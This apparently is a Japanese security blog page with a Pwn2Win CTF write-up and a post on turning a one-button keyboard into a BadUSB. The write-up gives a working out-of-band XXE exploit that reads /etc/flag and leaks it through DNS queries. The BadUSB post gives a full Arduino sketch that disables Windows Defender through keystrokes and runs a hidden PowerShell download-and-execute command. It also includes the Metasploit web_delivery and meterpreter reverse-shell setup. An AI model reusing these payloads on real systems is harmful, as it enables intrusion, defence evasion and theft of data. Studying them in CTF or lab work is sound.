今年もまた実施したこの企画ですが、年末の忙しい時期に始めたこともあり、体力面・精神面でそこそこ負荷がかかりました。 Advent Calendarのスケジュールにも間に合わなかったですし。

来年こそは、少しずつ消化していきたいと今は心に誓うものの、たぶんまた12月頃にまとめてやっているのだろうと思います。
それでは良いお年を。

Pwn2Win CTF 2019 Writeup - Baby Recruiter

Question

We found a Curriculum service from HARPA. Well, what do you think about pwn it? :)
P.S.: the flag is not in default format, so add CTF-BR{} when you find it (leet speak).

f:id:graneed:20191110221706p:plain

添付のソースコードは以下のとおり。

setup.sh

#!/bin/bash

# build docker
docker build -t babyrecruiter .

# setup firewall
docker run --cap-add=NET_ADMIN  -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'

iptables.sh

#!/bin/bash
IPT="/sbin/iptables"

# Server IP
SERVER_IP="$(ip addr show eth0 | grep 'inet ' | cut -f2 | awk '{ print $2}')"

echo "flush iptable rules"
$IPT -F
$IPT -X
$IPT -t nat -F
$IPT -t nat -X
$IPT -t mangle -F
$IPT -t mangle -X

echo "Set default policy to 'DROP'"
$IPT -P INPUT   DROP
$IPT -P FORWARD DROP
$IPT -P OUTPUT  DROP

## This should be one of the first rules.
## so dns lookups are already allowed for your other rules
$IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT  -p udp --sport 53 -m state --state ESTABLISHED     -j ACCEPT
$IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A INPUT  -p tcp --sport 53 -m state --state ESTABLISHED     -j ACCEPT


echo "allow all and everything on localhost"
$IPT -A INPUT -i lo -j ACCEPT
$IPT -A OUTPUT -o lo -j ACCEPT

#######################################################################################################
## Global iptable rules. Not IP specific

echo "Allowing new and established incoming connections to port 80"
$IPT -A INPUT  -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT
$IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED     -j ACCEPT

# Log before dropping
$IPT -A INPUT  -j LOG  -m limit --limit 12/min --log-level 4 --log-prefix 'IP INPUT drop: '
$IPT -A INPUT  -j DROP

$IPT -A OUTPUT -j LOG  -m limit --limit 12/min --log-level 4 --log-prefix 'IP OUTPUT drop: '
$IPT -A OUTPUT -j DROP

exit 0

Dockerfile

FROM ubuntu:18.04

ENV DEBIAN_FRONTEND=noninteractive 

# install web server
RUN apt-get update

RUN apt install -y apache2 curl php libapache2-mod-php php-mysql php-xml gdebi wget iptables net-tools

# we really don't like hackers
RUN find / -name "*.dtd" -type f -delete

RUN find / -name "*.xml" -type f -delete

# install prince
WORKDIR /tmp

RUN wget https://www.princexml.com/download/prince_12.5-1_ubuntu18.04_amd64.deb

RUN gdebi --option=APT::Get::force-yes="true" --option=APT::Get::Assume-Yes="true" -n prince_12.5-1_ubuntu18.04_amd64.deb

# setup webserver
WORKDIR /var/www/html

COPY . . 

RUN rm -rf index.html Dockerfile && mkdir resumes

RUN chmod 777 resumes

RUN echo '' > resumes/index.html 

# create a flag
RUN echo -n 'this_is_not_the_flag' > /etc/flag

RUN chmod +x iptables.sh && ./iptables.sh

RUN rm iptables.sh

# start web service
RUN service apache2 start

EXPOSE 1337
CMD apachectl -D FOREGROUND

index.php

<?php  
    $binary = "/usr/bin/prince";

    stream_wrapper_unregister("phar");
    stream_wrapper_unregister("data");
    stream_wrapper_unregister("glob");
    stream_wrapper_unregister("compress.zlib");
    stream_wrapper_unregister("php");

    if ($_SERVER['REQUEST_METHOD'] == 'POST') {

    /* create resume using prince */
    $content = $_POST['content'];
    $filename = md5($_SERVER['REMOTE_ADDR']);
    $file = "/tmp/" . $filename  . ".html";
    $sf = fopen($file, 'w');
    fwrite($sf, $content);
    fclose($sf);

    exec($binary . " --no-local-files " . $file . " -o resumes/" . $filename . ".pdf");

    /* debug */
    $dom = new DOMDocument();
    $dom->loadXML($content, LIBXML_NOENT | LIBXML_DTDLOAD);
    $info = simplexml_import_dom($dom);
    
    /*$page = '
    <html>
    <head>
        <title>Resumes</title>
        <style>
            textarea {
            width: 500px;
            height: 300px;
        }
        </style>
    </head>
        <body>
            <span>name: ' . $info->name . '</span><br><br>
        </body>
    </html>
        ';

    echo $page;*/

    header('Location: /resumes/' .  $filename . '.pdf');
    } else {
        echo '
            <html>
            <head>
                <title>Resume</title>
                <style>
                    textarea {
                    width: 500px;
                    height: 300px;
                }
                </style>
            </head>
                <body>
                    <h1>Apply today!</h1>
                    <span>Good enough to work with HARPA? send us you resume: </span><br>
                    <textarea name="content" form="princeForm">Enter text here...</textarea>
                    <form method="POST" action="/index.php" id="princeForm">
                        <input type="submit" value="Convert to PDF"></input>
                    </form>
                </body>
            </html>
                ';
    }

Solution

ソースコード解析

ソースコードを読み解くと以下のことがわかる。

  • フラグファイルは/etc/flagに存在。
  • 外部への通信はDNSのみ可能。
  • 入力データを/tmp/配下にファイル出力。ファイル名はクライアントのIPアドレスmd5計算したもの。
  • princeというツールを使用してHTMLからPDFに変換。
  • デバッグ用に入力データをloadXMLでパース。

調査

princeの既知の脆弱性を疑って検索すると以下の記事がHITする。
www.corben.io

index.phpソースコードと酷似しているが、今回の問題は最新のprinceを使用しているためこの脆弱性は使用できない。

次にloadXMLを使用している点からXXEを疑う。 XMLのパース結果は直接レスポンスとして返ってこないため、OOB XXE Attackの使用を考える。
github.com

OOB XXE Attackには別途DTDファイルが必要だが、iptablesで外部への通信はDNS以外ブロックされている。 そこで、入力データを/tmp/配下にファイル出力していることを利用し、サーバ内にDTDファイルを作成させる。

なお、同じIPアドレスからDTDファイルの作成リクエストとDTDファイルを参照させるリクエストを発行すると、ファイルが上書きされてしまうが、送信元のIPアドレスを変えればサーバ内にDTDファイルを残した状態にできる。

リーク先の通信もブロックされるが、昨今のマルウェアやウィルス対策ソフトのように、DNSサブドメインを使用してリークさせればよい。

exploit

1. ドメイン用意

以下のサービスを利用して、DNSサブドメインへのクエリを確認できるドメインを払い出す。 dnsbin.zhack.ca

51a19e650babb6f295ed.d.zhack.caが払い出された。

2. DTDファイル作成

取得したドメインをセットして以下を送信する。

<!ENTITY % all "<!ENTITY send SYSTEM 'http://%file;.51a19e650babb6f295ed.d.zhack.ca/'>">
%all;

curlコマンドにすると以下のとおり。

$ curl http://167.71.102.84/index.php -d "content=%3C%21ENTITY+%25+all+%22%3C%21ENTITY+send+SYSTEM+%27http%3A%2F%2F%25file%3B.51a19e650babb6f295ed.d.zhack.ca%2F%27%3E%22%3E%0D%0A%25all%3B" -v
*   Trying 167.71.102.84...
* TCP_NODELAY set
* Connected to 167.71.102.84 (167.71.102.84) port 80 (#0)
> POST /index.php HTTP/1.1
> Host: 167.71.102.84
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 145
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 145 out of 145 bytes
< HTTP/1.1 302 Found
< Date: Sun, 10 Nov 2019 02:31:54 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Location: /resumes/5e870399feeb3947c7f6c27b3ee0d71e.pdf
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 167.71.102.84 left intact

レスポンスのLocationヘッダのPDFファイル名と同じファイル名(拡張子はhtml)で、/tmp/DTDファイルが生成されているはずである。

3. リーク要求

2とは別のIPアドレスから以下を送信する。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % file SYSTEM "file:///etc/flag">
  <!ENTITY % dtd SYSTEM "/tmp/5e870399feeb3947c7f6c27b3ee0d71e.html">
  %dtd;
]>
<data>&send;</data>

すると、DNSBinにクエリが来た。
c0ngr4tz_y0u_w3r3_4ccpt3d

CTF-BR{}で括ったものがフラグ。
CTF-BR{c0ngr4tz_y0u_w3r3_4ccpt3d}

ワンボタンキーボードにMetasploitにセッションを張る機能を組み込む

タイトルのとおり、ワンボタンキーボードに"アレ"な機能を組み込む方法です。

1. 経緯

先日の技術書典7でワンボタンキーボードを購入しました。

www.one-button-key.com

組み立てに半田ごてが必要であるため、少々手を出しづらく未開封のままでしたが、 社内の勉強会用のネタを作成するために試すことにしました。

ワンボタンキーボードのキーには、好きなキーボード入力を割り当て可能です。

何の機能を組み込むか悩みましたが、一応、セキュリティ関係の勉強会ということで、 Metasploitにセッションを張る機能を組み込むことにしました。

この時点で「それなんてBadUSB?」と思う方がおられるかと思いますが、はい、そのとおりです。

8月のDEFCON会場で購入したUSB Rubber Duckyを使用してBadUSBの作成実験をしたことがありますが、考え方は同様です。

なお、BadUSBの作成においては技術書典6でipusiron氏が頒布されていた『ハッキング・ラボのそだてかた ミジンコでもわかるBadUSB』を参照しました。 特に日本語キーボード関連の解説には助けられました。

【ダウンロード版】『ハッキング・ラボのそだてかた ミジンコでもわかるBadUSB』(PDF版) - HACK - BOOTH

2. 組み立て

以下の記事のとおり進めていくだけです。

www.shumi-tech.online

半田ごて経験が「Raspberry Piに接続する湿度センサーの組み立て(2か所くらいとめるだけ)」「DEFCON 27のSoldering Villageでバッジを組み立て(なお失敗して全く点灯せず終了した模様)」という豊富な経験を持つ私でも、YouTubeの半田ごての使い方動画を見ながら見様見真似で組み立てることができました。

3. プログラミング

3-1. 環境準備および練習

こちらも、以下の記事のとおりに進めていくだけです。

www.shumi-tech.online

途中、接続したワンボタンキーボードが、デバイスマネージャーでもArduino IDEでも認識されないトラブルがありました。 結果、手元にあったmicroUSBケーブルが充電用だったことが原因で、ケーブルを変更したところ無事認識しました。 これで1時間程度溶けました。マヌケですね。

まずはサンプルのとおりCtrl + Vの機能を書き込み、キーを押下して動作するか確認すればOKです。

3-2. Metasploit接続機能の組み込み

Metasploitにセッションを張る機能を組み込みます。
キーボードによる操作シナリオは以下のとおりです。

  1. Ctrl + Escキーを押下しスタートメニューを開く
  2. "virus"というワードを入力してエンターキーを押下し「ウィルスと脅威の防止」のウィンドウを開く
  3. TABキーを4回押下、エンターキーを押下し、「ウィルスと脅威の防止の設定」画面に遷移する
  4. スペースキーを押下し、リアルタイム保護をオフにしようとし、UAC(ユーザーアカウント制御)の画面を表示する
  5. Alt + yキーを押下し「はい」を選択する
  6. Alt + F4キーで「ウィルスと脅威の防止の設定」のウィンドウを閉じる
  7. Win + rキーを押下し「ファイル名を指定して実行」ダイアログを開き、PowerShellでMetasploitにセッションを張るスクリプトをダウンロードおよび実行する。

2の操作はOSのバージョンや環境によって異なると思います。もっと確実な方法がありそうですが、実験ということでこれで。

なお、Windows Defenderのリアルタイム保護をオフする方法として、以前まではPowerShellSet-MpPreference -DisableRealtimeMonitoring $trueを実行するだけでオフにできたようですが、 Windows10 1903からは出来なくなった模様。よってGUIをキーボードで操作しています。

上記の操作シナリオを、Arduinoのスケッチに落とし込むと以下になります。

#include "Keyboard.h"

#define PIN_KEYSW (9)

int prevKeyState;
int currKeyState;

void setup() {
  pinMode(PIN_KEYSW, INPUT_PULLUP);
  prevKeyState = HIGH;
  currKeyState = HIGH;

  Keyboard.begin();
}

void loop() {
  currKeyState = digitalRead(PIN_KEYSW);

  // キースイッチが押された
  if ((prevKeyState == HIGH) && (currKeyState == LOW)) {
    // ↓↓↓ ここに好きなキー入力を書く ↓↓↓
    Keyboard.press(KEY_LEFT_CTRL);
    Keyboard.press(KEY_ESC);
    delay(10);
    Keyboard.releaseAll(); 
    
    delay(1000);
    Keyboard.print("virus");
    delay(1000);
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_TAB);
    delay(10);
    Keyboard.releaseAll(); 
    delay(400);
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    delay(1000);
    Keyboard.press(0x20);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press('y');
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_ALT);
    Keyboard.press(KEY_F4);
    delay(10);
    Keyboard.releaseAll(); 

    delay(2000);
    Keyboard.press(KEY_LEFT_GUI );
    Keyboard.press('r');
    delay(10);
    Keyboard.releaseAll(); 
    delay(1000);
    Keyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass @iex **new-object net.webclient(.DownloadString*&http'//192.168.1.5'8080/reverse&((@");
    Keyboard.press(KEY_RETURN);
    delay(10);
    Keyboard.releaseAll(); 

    // ↑↑↑ ここまで ↑↑↑
  }

  prevKeyState = currKeyState;
  delay(10);
}

最後のPowerShellコマンドの引数のうち、一部の記号を変換しています。 本当に実行したい元のコマンドは以下のとおりです。

powershell -NoP -NonI -W Hidden -Exec Bypass "iex ((new-object net.webclient).DownloadString('http://192.168.1.5:8080/reverse'))"

これは、Arduinoからの入力は英語配列のキーボードを前提としており、 日本語配列のキーボードを使用している自分のWindows環境では別の記号となってしまうため、 その差異を吸収するための措置です。

なお、変換には以下のような簡単なpythonスクリプトを書いて対応しました。

import sys

table = str.maketrans({
    '=': '_',
    ':': '\'',
    '&': '-',
    '\'': '&',
    '(': '*',
    ')': '(',
    '^': '=',
    '~': '+',
    '{': '}',
    '}': '|',
    '[': ']',
    ']': '\\',
    '"': '@',
    '@': '[',
    '+': ':',
    '*': '"',
    '`': '{',
    '|': '',
})

for l in sys.stdin:
    print(l.translate(table),end="")

4. 実行

4-1. C2サーバ環境の用意

C2サーバに見立てた端末でMetasploitを起動して準備します。

$ cat reverse_tcp.rc
use exploit/multi/script/web_delivery
set LHOST 192.168.1.5
set LPORT 4444
set target 2
set URIPATH reverse
set payload windows/x64/meterpreter/reverse_tcp
exploit

$ msfconsole -r ./reverse_tcp.rc
(snip)
[*] Started reverse TCP handler on 192.168.1.5:4444                                                                                                       
[*] Using URL: http://0.0.0.0:8080/reverse                                                                                                                
[*] Local IP: http://192.168.1.5:8080/reverse                                                                                                             
[*] Server started.                                                                                                                                       
[*] Run the following command on the target machine:                                                                                                      
powershell.exe -nop -w hidden -c $T=new-object net.webclient;$T.proxy=[Net.WebRequest]::GetSystemWebProxy();$T.Proxy.Credentials=[Net.CredentialCache]::De
faultCredentials;IEX $T.downloadstring('http://192.168.1.5:8080/reverse');
msf5 exploit(multi/script/web_delivery) > 

準備が整いました。

4-2. ワンボタンキーボード接続&キー押下

被害端末にワンボタンキーボードを接続し、キーを押下します。

画像では伝わりにくいと思いますので動画を用意しました。

5. まとめ

無限の可能性があるワンボタンキーボード。

まずはお試しということで、過去の実験経験を活用し、ややアレな機能を組み込みましたが、アイデア次第で色々な活用方法がありそうです。 また何か思いついたら共有したいと思います。

なお、社内の勉強会でデモした後に「どう?接続して押してみない?」と新人に振ったところ、面倒くさそうな苦笑いで断られました。 あぁ自分も面倒くさいおっさんになったんだなぁと気付かされましたね。